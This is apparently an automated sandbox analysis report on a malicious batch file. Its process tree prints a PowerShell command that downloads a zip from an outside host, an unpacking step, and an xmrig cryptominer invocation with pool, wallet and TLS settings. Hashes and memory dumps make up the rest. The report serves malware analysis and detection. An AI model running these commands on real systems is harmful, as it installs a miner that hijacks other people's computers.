3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
0s
max time network
27s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
05/11/2023, 02:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (5).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4876	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4876	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 928 wrote to memory of 4876	928	cmd.exe	87
PID 928 wrote to memory of 4876	928	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  PID:2112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K start.cmd
  2⤵
  PID:3136
- - C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
    xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
    3⤵
    PID:720

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a5c074e56305e761d7cbc42993300e1c

SHA1
39b2e23ba5c56b4f332b3607df056d8df23555bf

SHA256
e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

SHA512
c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5o0yfrnb.mzt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\test1.zip

Filesize
3.2MB

MD5
95452958f42b1b93f0c887f59d84d19f

SHA1
c861dc457d57471ab42879f49cc8fe171e7c9b1c

SHA256
dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

SHA512
96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

Filesize
278B

MD5
080123b6eac4a332d3f2b11f6eb3aa54

SHA1
8f3d40eae881e3b871cff2aa85521d727ada2a64

SHA256
cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

SHA512
0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

Filesize
2.9MB

MD5
a16f356700852fb1d6977c31e1c67fd6

SHA1
1dce16f65a2dd84fad4a923846c2a5f8b3f4db6b

SHA256
5081d0d68099b56d5cd9f1c0e29d5662ec43a0089a0eae71950f2704442fe2b2

SHA512
7bdaeb10011d1e0937134e776cd2ac3986fcb2c5cbfd67c7d015020de8f5668949fff819d3dcdad261393c79f5dd68ef00c9c590d3eb2b1718eb7529c05110eb

Download Submit
memory/720-46-0x0000020473010000-0x0000020473030000-memory.dmp

Filesize
128KB

Download
memory/2112-32-0x0000018743180000-0x0000018743192000-memory.dmp

Filesize
72KB

Download
memory/2112-28-0x0000018743270000-0x0000018743280000-memory.dmp

Filesize
64KB

Download
memory/2112-29-0x0000018743270000-0x0000018743280000-memory.dmp

Filesize
64KB

Download
memory/2112-18-0x00007FFF66BB0000-0x00007FFF67671000-memory.dmp

Filesize
10.8MB

Download
memory/2112-31-0x0000018743270000-0x0000018743280000-memory.dmp

Filesize
64KB

Download
memory/2112-33-0x000001872B050000-0x000001872B05A000-memory.dmp

Filesize
40KB

Download
memory/2112-42-0x00007FFF66BB0000-0x00007FFF67671000-memory.dmp

Filesize
10.8MB

Download
memory/4876-16-0x00007FFF66DF0000-0x00007FFF678B1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-12-0x0000020B6BC10000-0x0000020B6BC20000-memory.dmp

Filesize
64KB

Download
memory/4876-11-0x0000020B6BC10000-0x0000020B6BC20000-memory.dmp

Filesize
64KB

Download
memory/4876-10-0x00007FFF66DF0000-0x00007FFF678B1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-9-0x0000020B6C540000-0x0000020B6C562000-memory.dmp

Filesize
136KB

Download